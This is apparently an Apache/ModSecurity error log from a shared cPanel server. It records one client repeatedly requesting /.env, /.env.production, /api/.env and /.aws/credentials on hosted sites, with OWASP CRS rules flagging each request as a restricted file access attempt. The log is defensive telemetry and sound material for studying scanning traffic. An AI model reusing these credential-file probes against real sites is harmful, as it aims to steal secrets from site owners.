[Fri Jul 17 10:10:28.452125 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almyPGTem5UnhuySh-0oiAAAAAA"]
[Fri Jul 17 10:10:28.768882 2026] [security2:error] [pid 2065297:tid 2065297] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.env"] [unique_id "almyPIQPslXM9Iu5soRsdQAAAAg"]
[Fri Jul 17 10:10:28.769137 2026] [security2:error] [pid 2065297:tid 2065297] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.env"] [unique_id "almyPIQPslXM9Iu5soRsdQAAAAg"]
[Fri Jul 17 10:10:28.792381 2026] [security2:error] [pid 2065297:tid 2065297] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almyPIQPslXM9Iu5soRsdQAAAAg"]
[Fri Jul 17 10:10:29.339259 2026] [security2:error] [pid 2065293:tid 2065293] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyPXqWRBnLzLzgwXg0XgAAAAQ"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:10:29.339299 2026] [security2:error] [pid 2065293:tid 2065293] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyPXqWRBnLzLzgwXg0XgAAAAQ"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:10:29.649191 2026] [security2:error] [pid 2047046:tid 2047046] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.env.production"] [unique_id "almyPU_0b3nWp8txtSDKdwAAAA0"]
[Fri Jul 17 10:10:29.649467 2026] [security2:error] [pid 2047046:tid 2047046] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.env.production"] [unique_id "almyPU_0b3nWp8txtSDKdwAAAA0"]
[Fri Jul 17 10:10:29.699545 2026] [security2:error] [pid 2047046:tid 2047046] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almyPU_0b3nWp8txtSDKdwAAAA0"]
[Fri Jul 17 10:10:30.328162 2026] [security2:error] [pid 2068138:tid 2068138] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.env.production"] [unique_id "almyPg4g1d3E329BkvVPWwAAAAE"]
[Fri Jul 17 10:10:30.328444 2026] [security2:error] [pid 2068138:tid 2068138] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.env.production"] [unique_id "almyPg4g1d3E329BkvVPWwAAAAE"]
[Fri Jul 17 10:10:30.352374 2026] [security2:error] [pid 2068138:tid 2068138] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almyPg4g1d3E329BkvVPWwAAAAE"]
[Fri Jul 17 10:10:31.111581 2026] [security2:error] [pid 2039911:tid 2039911] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/api/.env"] [unique_id "almyP5BVIrrUwtEhdafePQAAAAU"]
[Fri Jul 17 10:10:31.111848 2026] [security2:error] [pid 2039911:tid 2039911] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/api/.env"] [unique_id "almyP5BVIrrUwtEhdafePQAAAAU"]
[Fri Jul 17 10:10:31.146955 2026] [security2:error] [pid 2039911:tid 2039911] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almyP5BVIrrUwtEhdafePQAAAAU"]
[Fri Jul 17 10:10:31.510613 2026] [security2:error] [pid 2018768:tid 2018768] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com"] [uri "/.env"] [unique_id "almyP1CBpfuYyhJ140vgCAAAAB4"]
[Fri Jul 17 10:10:31.510888 2026] [security2:error] [pid 2018768:tid 2018768] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/.env"] [unique_id "almyP1CBpfuYyhJ140vgCAAAAB4"]
[Fri Jul 17 10:10:31.539307 2026] [security2:error] [pid 2018768:tid 2018768] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almyP1CBpfuYyhJ140vgCAAAAB4"]
[Fri Jul 17 10:10:31.650400 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/api/.env"] [unique_id "almyP2Tem5UnhuySh-0oigAAAAA"]
[Fri Jul 17 10:10:31.650676 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/api/.env"] [unique_id "almyP2Tem5UnhuySh-0oigAAAAA"]
[Fri Jul 17 10:10:31.699170 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almyP2Tem5UnhuySh-0oigAAAAA"]
[Fri Jul 17 10:10:32.188590 2026] [security2:error] [pid 1993572:tid 1993572] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com"] [uri "/.env.production"] [unique_id "almyQIl9vhFBGA6D8l-HLAAAAAw"]
[Fri Jul 17 10:10:32.188883 2026] [security2:error] [pid 1993572:tid 1993572] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/.env.production"] [unique_id "almyQIl9vhFBGA6D8l-HLAAAAAw"]
[Fri Jul 17 10:10:32.210386 2026] [security2:error] [pid 1993572:tid 1993572] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almyQIl9vhFBGA6D8l-HLAAAAAw"]
[Fri Jul 17 10:10:32.401505 2026] [security2:error] [pid 2063895:tid 2063895] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.aws/credentials"] [unique_id "almyQBf3V7HXByUCfDSypAAAABY"]
[Fri Jul 17 10:10:32.401780 2026] [security2:error] [pid 2063895:tid 2063895] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.aws/credentials"] [unique_id "almyQBf3V7HXByUCfDSypAAAABY"]
[Fri Jul 17 10:10:32.452671 2026] [security2:error] [pid 2063895:tid 2063895] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almyQBf3V7HXByUCfDSypAAAABY"]
[Fri Jul 17 10:10:32.751167 2026] [security2:error] [pid 2030804:tid 2030804] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com"] [uri "/.env.production"] [unique_id "almyQIe39YUk0SgV8AVHaQAAABE"]
[Fri Jul 17 10:10:32.751397 2026] [security2:error] [pid 2030804:tid 2030804] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/.env.production"] [unique_id "almyQIe39YUk0SgV8AVHaQAAABE"]
[Fri Jul 17 10:10:32.783226 2026] [security2:error] [pid 2030804:tid 2030804] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almyQIe39YUk0SgV8AVHaQAAABE"]
[Fri Jul 17 10:10:32.945762 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:33.021126 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:33.063969 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:33.097708 2026] [security2:error] [pid 2060590:tid 2060590] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.aws/credentials"] [unique_id "almyQXv42nOn2tp5Eua22QAAABA"]
[Fri Jul 17 10:10:33.098058 2026] [security2:error] [pid 2060590:tid 2060590] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.aws/credentials"] [unique_id "almyQXv42nOn2tp5Eua22QAAABA"]
[Fri Jul 17 10:10:33.138432 2026] [security2:error] [pid 2060590:tid 2060590] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almyQXv42nOn2tp5Eua22QAAABA"]
[Fri Jul 17 10:10:33.181877 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:33.359307 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:33.671070 2026] [security2:error] [pid 2030804:tid 2030804] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com"] [uri "/api/.env"] [unique_id "almyQYe39YUk0SgV8AVHagAAABE"]
[Fri Jul 17 10:10:33.671347 2026] [security2:error] [pid 2030804:tid 2030804] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/api/.env"] [unique_id "almyQYe39YUk0SgV8AVHagAAABE"]
[Fri Jul 17 10:10:33.726763 2026] [security2:error] [pid 2030804:tid 2030804] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almyQYe39YUk0SgV8AVHagAAABE"]
[Fri Jul 17 10:10:33.773860 2026] [autoindex:error] [pid 2063436:tid 2063436] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/assets/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:10:34.390070 2026] [security2:error] [pid 2063442:tid 2063442] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com"] [uri "/api/.env"] [unique_id "almyQqTW5eFi1WFCzw0XpgAAABc"]
[Fri Jul 17 10:10:34.390301 2026] [security2:error] [pid 2063442:tid 2063442] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/api/.env"] [unique_id "almyQqTW5eFi1WFCzw0XpgAAABc"]
